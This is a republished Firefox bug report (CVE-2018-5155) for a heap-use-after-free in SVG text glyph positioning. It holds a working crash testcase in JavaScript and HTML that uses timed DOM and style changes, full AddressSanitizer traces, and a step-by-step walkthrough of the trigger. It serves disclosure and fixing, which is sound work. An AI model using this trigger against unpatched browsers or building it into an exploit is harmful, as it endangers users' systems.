Skip to content
Memory corruption Disclosed report Advanced CVE-2018-5155

heap-use-after-free in mozilla::CharIterator::GetOriginalGlyphOffsets

A heap-use-after-free occurs in Firefox's SVG text layout code when a text run is freed during a style-triggered reflow while glyph positioning still holds a reference to it. An attacker could crash the browser by loading a crafted page with an SVG document and timed DOM/style changes.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 4 days
  • Paid in 14 days
  • Disclosed after 4 days

Created attachment 8962261 svg.svg

The following testcase crashes the latest ASAN build of Firefox 61.0a1 (SourceStamp=b4aeb99d1cb601e5a5288ca05630913fa8528a1c). It requires the attached svg.svg in the same directory.

crash.html:

<script> function start() { o100=window.open('svg.svg','p58','height=6'); o100.onload=fun0; setTimeout(fun1, 400); } function fun0(e) { o101=e.target;; o109=o101.getElementById('id1'); o120=o101.getElementById('id8'); } function fun1() { o167=o109.ownerDocument; o168=document.createElement('head'); o167.documentElement.appendChild(o168); o120.setAttribute('width','393216'); o206=document.createElement('head'); o167.documentElement.appendChild(o206); o207=document.createElement('style'); o206.appendChild(o207); o207.textContent="*{ -moz-transition: 235ms; -moz-border-end-color: green; border-right-style: inset"; setTimeout(fun2,240); } function fun2() { o120.setAttribute('viewBox','0 0 1000 1000'); o5=document.createElement("div"); o5.innerHTML="<svg height='10px' xmlns='http://www.w3.org/2000/svg'><set attributeName='font-weight'><style>*{{}}*{ background-position-x: 1px"; o168.innerHTML=o5.innerHTML; } </script> <body onload="start()"></body>

ASAN output:

==15139==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000131768 at pc 0x7fa844a5c5d0 bp 0x7ffdd01c31d0 sp 0x7ffdd01c31c8 READ of size 8 at 0x612000131768 thread T0 (file:// Content) #0 0x7fa844a5c5cf in IsClusterStart /builds/worker/workspace/build/src/obj-firefox/dist/include/gfxTextRun.h:113:16 #1 0x7fa844a5c5cf in mozilla::CharIterator::GetOriginalGlyphOffsets(unsigned int&, unsigned int&) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2596 #2 0x7fa844a5c6ea in mozilla::CharIterator::GetGlyphAdvance(nsPresContext*) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2618:3 #3 0x7fa844a7bfee in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5108:12 #4 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3 #5 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5 #6 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734 #7 0x7fa844528b3c in nsLayoutUtils::TransformFrameRectToAncestor(nsIFrame*, nsRect const&, nsIFrame const*, bool*, mozilla::Maybe<mozilla::gfx::Matrix4x4TypedFlagged<mozilla::gfx::UnknownUnits, mozilla::gfx::UnknownUnits> >, bool, nsIFrame**) /builds/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3139:27 #8 0x7fa84472631a in IsFrameScrolledOutOfView(nsIFrame, nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11026:5 #9 0x7fa844726190 in nsIFrame::IsScrolledOutOfView() /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11057:10 #10 0x7fa83ef594a8 in mozilla::dom::KeyframeEffectReadOnly::CanThrottle() const /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1172:16 #11 0x7fa83ef345d2 in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:134:7 #12 0x7fa83ef32775 in mozilla::dom::Animation::UpdateTiming(mozilla::dom::Animation::SeekFlag, mozilla::dom::Animation::SyncNotifyFlag) /builds/worker/workspace/build/src/dom/animation/Animation.cpp:1346:3 #13 0x7fa83ef2c0f1 in mozilla::dom::Animation::Tick() /builds/worker/workspace/build/src/dom/animation/Animation.cpp:699:3 #14 0x7fa844382440 in mozilla::dom::CSSTransition::Tick() /builds/worker/workspace/build/src/layout/style/nsTransitionManager.cpp:337:14 #15 0x7fa83ef44afe in mozilla::dom::DocumentTimeline::WillRefresh(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/animation/DocumentTimeline.cpp:184:16 #16 0x7fa844396517 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1884:12 #17 0x7fa8443a6a00 in TickDriver /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:338:13 #18 0x7fa8443a6a00 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:308 #19 0x7fa8443a65c6 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:330:5 #20 0x7fa8443a933e in RunRefreshDrivers /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:771:5 #21 0x7fa8443a933e in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:684 #22 0x7fa8443a8f3e in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:585:9 #23 0x7fa844c56e9f in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:68:16 #24 0x7fa83d7cc550 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:156:20 #25 0x7fa83d6b73d4 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1968:28 #26 0x7fa83d25583e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2135:25 #27 0x7fa83d2527c1 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2065:17 #28 0x7fa83d253fbc in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1911:5 #29 0x7fa83d254618 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1944:15 #30 0x7fa83c382568 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1096:14 #31 0x7fa83c39e8d0 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #32 0x7fa83d25d396 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5 #33 0x7fa83d1b08a9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #34 0x7fa83d1b08a9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #35 0x7fa83d1b08a9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #36 0x7fa843e3379a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #37 0x7fa8480e478b in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #38 0x7fa83d1b08a9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #39 0x7fa83d1b08a9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #40 0x7fa83d1b08a9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #41 0x7fa8480e416a in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34 #42 0x4f1875 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #43 0x4f1875 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #44 0x7fa85c0be82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #45 0x420f48 in _start (/fuzzer3/firefox/firefox+0x420f48)

0x612000131768 is located 40 bytes inside of 288-byte region [0x612000131740,0x612000131860) freed by thread T0 (file:// Content) here: #0 0x4c1952 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7fa8448e7b61 in ClearTextRuns /builds/worker/workspace/build/src/layout/generic/nsTextFrame.h:626:5 #2 0x7fa8448e7b61 in nsTextFrame::MarkIntrinsicISizesDirty() /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8530 #3 0x7fa8443eeb38 in mozilla::PresShell::FrameNeedsReflow(nsIFrame*, nsIPresShell::IntrinsicDirty, nsFrameState, nsIPresShell::ReflowRootHandling) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:2797:18 #4 0x7fa84443f14d in StyleChangeReflow /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1234:26 #5 0x7fa84443f14d in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1559 #6 0x7fa84444d8f5 in mozilla::ServoRestyleManager::DoProcessPendingRestyles(mozilla::ServoTraversalFlags) /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1188:9 #7 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1264:3 #8 0x7fa844406ffd in ProcessPendingRestyles /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:43 #9 0x7fa844406ffd in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4259 #10 0x7fa83f3e33c8 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:579:5 #11 0x7fa83f3e33c8 in nsIDocument::FlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7649 #12 0x7fa8438218af in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:440:15 #13 0x7fa84337257b in Resample /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:74:21 #14 0x7fa84337257b in FlushResampleRequests /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.h:90 #15 0x7fa84337257b in FlushAnimations /builds/worker/workspace/build/src/dom/svg/nsSVGElement.cpp:2677 #16 0x7fa84337257b in nsSVGEnum::DOMAnimatedEnum::AnimVal() /builds/worker/workspace/build/src/dom/svg/nsSVGEnum.h:97 #17 0x7fa844a7bf5d in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5099:31 #18 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3 #19 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5 #20 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734 #21 0x7fa844528b3c in nsLayoutUtils::TransformFrameRectToAncestor(nsIFrame*, nsRect const&, nsIFrame const*, bool*, mozilla::Maybe<mozilla::gfx::Matrix4x4TypedFlagged<mozilla::gfx::UnknownUnits, mozilla::gfx::UnknownUnits> >, bool, nsIFrame**) /builds/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3139:27 #22 0x7fa84472631a in IsFrameScrolledOutOfView(nsIFrame, nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11026:5 #23 0x7fa844726190 in nsIFrame::IsScrolledOutOfView() /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11057:10 #24 0x7fa83ef594a8 in mozilla::dom::KeyframeEffectReadOnly::CanThrottle() const /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1172:16 #25 0x7fa83ef345d2 in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:134:7 #26 0x7fa83ef32775 in mozilla::dom::Animation::UpdateTiming(mozilla::dom::Animation::SeekFlag, mozilla::dom::Animation::SyncNotifyFlag) /builds/worker/workspace/build/src/dom/animation/Animation.cpp:1346:3 #27 0x7fa83ef2c0f1 in mozilla::dom::Animation::Tick() /builds/worker/workspace/build/src/dom/animation/Animation.cpp:699:3 #28 0x7fa844382440 in mozilla::dom::CSSTransition::Tick() /builds/worker/workspace/build/src/layout/style/nsTransitionManager.cpp:337:14 #29 0x7fa83ef44afe in mozilla::dom::DocumentTimeline::WillRefresh(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/animation/DocumentTimeline.cpp:184:16 #30 0x7fa844396517 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1884:12 #31 0x7fa8443a6a00 in TickDriver /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:338:13 #32 0x7fa8443a6a00 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:308 #33 0x7fa8443a65c6 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:330:5 #34 0x7fa8443a933e in RunRefreshDrivers /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:771:5 #35 0x7fa8443a933e in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:684 #36 0x7fa8443a8f3e in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:585:9 #37 0x7fa844c56e9f in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:68:16 #38 0x7fa83d7cc550 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:156:20 #39 0x7fa83d6b73d4 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1968:28 #40 0x7fa83d25583e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2135:25

previously allocated by thread T0 (file:// Content) here: #0 0x4c1c93 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x7fa83ec6d177 in gfxTextRun::AllocateStorageForTextRun(unsigned long, unsigned int) /builds/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:128:21 #2 0x7fa8448a771a in Create /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:51:19 #3 0x7fa8448a771a in MakeTextRun /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:114 #4 0x7fa8448a771a in nsTransformingTextRunFactory::MakeTextRun(unsigned char const*, unsigned int, gfxTextRunFactory::Parameters const*, gfxFontGroup*, mozilla::gfx::ShapedTextFlags, nsTextFrameUtils::Flags, nsTArray<RefPtr<nsTransformedCharStyle> >&&, bool) /builds/worker/workspace/build/src/layout/generic/nsTextRunTransformations.cpp:131 #5 0x7fa8448a1fb7 in BuildTextRunsScanner::BuildTextRunForFrames(void*) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2396:38 #6 0x7fa84489b718 in BuildTextRunsScanner::FlushFrames(bool, bool) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1699:17 #7 0x7fa8448ac9a7 in BuildTextRuns /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1625:11 #8 0x7fa8448ac9a7 in nsTextFrame::EnsureTextRun(nsTextFrame::TextRunType, mozilla::gfx::DrawTarget*, nsIFrame*, nsLineList_iterator const*, unsigned int*) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2864 #9 0x7fa8448eadac in nsTextFrame::AddInlinePrefISizeForFlow(gfxContext*, nsIFrame::InlinePrefISizeData*, nsTextFrame::TextRunType) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8728:5 #10 0x7fa8448ecafa in nsTextFrame::AddInlinePrefISize(gfxContext*, nsIFrame::InlinePrefISizeData*) /builds/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8864:10 #11 0x7fa84462c5fe in nsBlockFrame::GetPrefISize(gfxContext*) /builds/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:860:16 #12 0x7fa844a80936 in SVGTextFrame::DoReflow() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5520:29 #13 0x7fa844a67e96 in MaybeReflowAnonymousBlockChild /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5475:5 #14 0x7fa844a67e96 in SVGTextFrame::ReflowSVG() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:3772 #15 0x7fa844a68fc9 in nsSVGDisplayContainerFrame::ReflowSVG() /builds/worker/workspace/build/src/layout/svg/nsSVGContainerFrame.cpp:350:17 #16 0x7fa844ace528 in nsSVGOuterSVGFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /builds/worker/workspace/build/src/layout/svg/nsSVGOuterSVGFrame.cpp:455:14 #17 0x7fa844694f76 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:940:14 #18 0x7fa8446937bd in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /builds/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:713:5 #19 0x7fa844694f76 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:940:14 #20 0x7fa844770818 in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /builds/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:554:3 #21 0x7fa844771c39 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /builds/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:677:3 #22 0x7fa844775c18 in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /builds/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1054:3 #23 0x7fa84461551e in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:984:14 #24 0x7fa844614099 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /builds/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:335:7 #25 0x7fa8443f3681 in mozilla::PresShell::DoReflow(nsIFrame*, bool) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:8838:11 #26 0x7fa8444090d0 in mozilla::PresShell::ProcessReflowCommands(bool) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:9011:24 #27 0x7fa8444074f3 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4309:11 #28 0x7fa844396ecd in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:579:5 #29 0x7fa844396ecd in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1939 #30 0x7fa8443a1354 in nsRefreshDriver::FinishedWaitingForTransaction() /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2163:5 #31 0x7fa83e9422b3 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:532:32 #32 0x7fa8436ffd1b in mozilla::dom::TabChild::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/dom/ipc/TabChild.cpp:3127:7 #33 0x7fa83ea3449a in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:548:14 #34 0x7fa83d9f9e09 in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1401:20

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/gfxTextRun.h:113:16 in IsClusterStart Shadow bytes around the buggy address: 0x0c248001e290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248001e2a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa 0x0c248001e2b0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c248001e2c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248001e2d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa =>0x0c248001e2e0: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd 0x0c248001e2f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248001e300: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c248001e310: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c248001e320: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c248001e330: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==15139==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is a crash report against the SVG text layout code in Firefox. The affected component is SVGTextFrame, the frame class that lays out SVG <text> content, and specifically the path that positions glyphs along a text path (DoTextPathLayout) and the glyph positioning pass that feeds it (DoGlyphPositioning). The bug is a heap-use-after-free: a gfxTextRun is freed while an iterator over it, mozilla::CharIterator, still holds a pointer into it, and the iterator later reads from the freed memory in GetOriginalGlyphOffsets.

The reporter is Nils, the program is Mozilla, and the weakness class is use after free. The report was disclosed on 30 March 2018.

Setup

The crash was reproduced on the latest ASAN build of Firefox 61.0a1, with SourceStamp [redacted]. The testcase consists of two files that must sit in the same directory: a crash.html driver and an attached svg.svg.

Finding it

The reporter does not describe how the bug was originally spotted. What the report gives is a minimal, timing-driven testcase that reliably reaches the free and the subsequent read, plus the full ASAN trace showing both the allocation and the free of the same 288-byte region.

Exploitation

Step 1: open the SVG in a popup and grab two elements

The driver page opens the SVG in a small popup window and, once it has loaded, resolves two elements inside it by id.

HTML
<script>
function start() {
	o100=window.open('svg.svg','p58','height=6');
	o100.onload=fun0;
	setTimeout(fun1, 400);
}
function fun0(e) {
	o101=e.target;;
	o109=o101.getElementById('id1');
	o120=o101.getElementById('id8');
}

The popup is opened with a height of 6 pixels. fun0 stores the loaded document, then looks up id1 and id8 inside it. fun1 is scheduled 400 ms after start runs.

Step 2: mutate the document and install a transition

JavaScript
function fun1() {
	o167=o109.ownerDocument;
	o168=document.createElement('head');
	o167.documentElement.appendChild(o168);
	o120.setAttribute('width','393216');
	o206=document.createElement('head');
	o167.documentElement.appendChild(o206);
	o207=document.createElement('style');
	o206.appendChild(o207);
	o207.textContent="*{ -moz-transition: 235ms; -moz-border-end-color: green; border-right-style: inset";
	setTimeout(fun2,240);
}

This step takes the document of id1, appends a head element to its document element, and sets a width attribute of 393216 on id8. It then appends a second head containing a style element whose text applies a 235 ms -moz-transition to every element, together with -moz-border-end-color: green and border-right-style: inset. fun2 is scheduled 240 ms later, just after the 235 ms transition would have completed.

Step 3: change the viewBox and inject SVG markup

JavaScript
function fun2() {
	o120.setAttribute('viewBox','0 0 1000 1000');
	o5=document.createElement("div");
	o5.innerHTML="<svg height='10px' xmlns='http://www.w3.org/2000/svg'><set attributeName='font-weight'><style>*{{}}*{ background-position-x: 1px";
	o168.innerHTML=o5.innerHTML;
}
</script>
<body onload="start()"></body>

fun2 sets a viewBox of 0 0 1000 1000 on id8, builds a div whose innerHTML contains an inline SVG with a <set> element targeting font-weight and a malformed-looking <style> fragment, and then copies that markup into the first head element created in step 2.

Step 4: the crash

ASAN reports a heap-use-after-free, a READ of size 8, in the content process:

Text
==15139==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000131768 at pc 0x7fa844a5c5d0 bp 0x7ffdd01c31d0 sp 0x7ffdd01c31c8
READ of size 8 at 0x612000131768 thread T0 (file:// Content)
    #0 0x7fa844a5c5cf in IsClusterStart /builds/worker/workspace/build/src/obj-firefox/dist/include/gfxTextRun.h:113:16
    #1 0x7fa844a5c5cf in mozilla::CharIterator::GetOriginalGlyphOffsets(unsigned int&, unsigned int&) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2596
    #2 0x7fa844a5c6ea in mozilla::CharIterator::GetGlyphAdvance(nsPresContext*) const /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:2618:3
    #3 0x7fa844a7bfee in SVGTextFrame::DoTextPathLayout() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5108:12
    #4 0x7fa844a7fdb5 in SVGTextFrame::DoGlyphPositioning() /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5365:3
    #5 0x7fa844a82ce8 in UpdateGlyphPositioning /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5433:5
    #6 0x7fa844a82ce8 in SVGTextFrame::TransformFrameRectFromTextChild(nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/svg/SVGTextFrame.cpp:5734
    #7 0x7fa844528b3c in nsLayoutUtils::TransformFrameRectToAncestor(nsIFrame*, nsRect const&, nsIFrame const*, bool*, mozilla::Maybe<mozilla::gfx::Matrix4x4TypedFlagged<mozilla::gfx::UnknownUnits, mozilla::gfx::UnknownUnits> >*, bool, nsIFrame**) /builds/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3139:27
    #8 0x7fa84472631a in IsFrameScrolledOutOfView(nsIFrame*, nsRect const&, nsIFrame*) /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11026:5
    #9 0x7fa844726190 in nsIFrame::IsScrolledOutOfView() /builds/worker/workspace/build/src/layout/generic/nsFrame.cpp:11057:10
    #10 0x7fa83ef594a8 in mozilla::dom::KeyframeEffectReadOnly::CanThrottle() const /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:1172:16
    #11 0x7fa83ef345d2 in mozilla::dom::KeyframeEffectReadOnly::NotifyAnimationTimingUpdated() /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:134:7
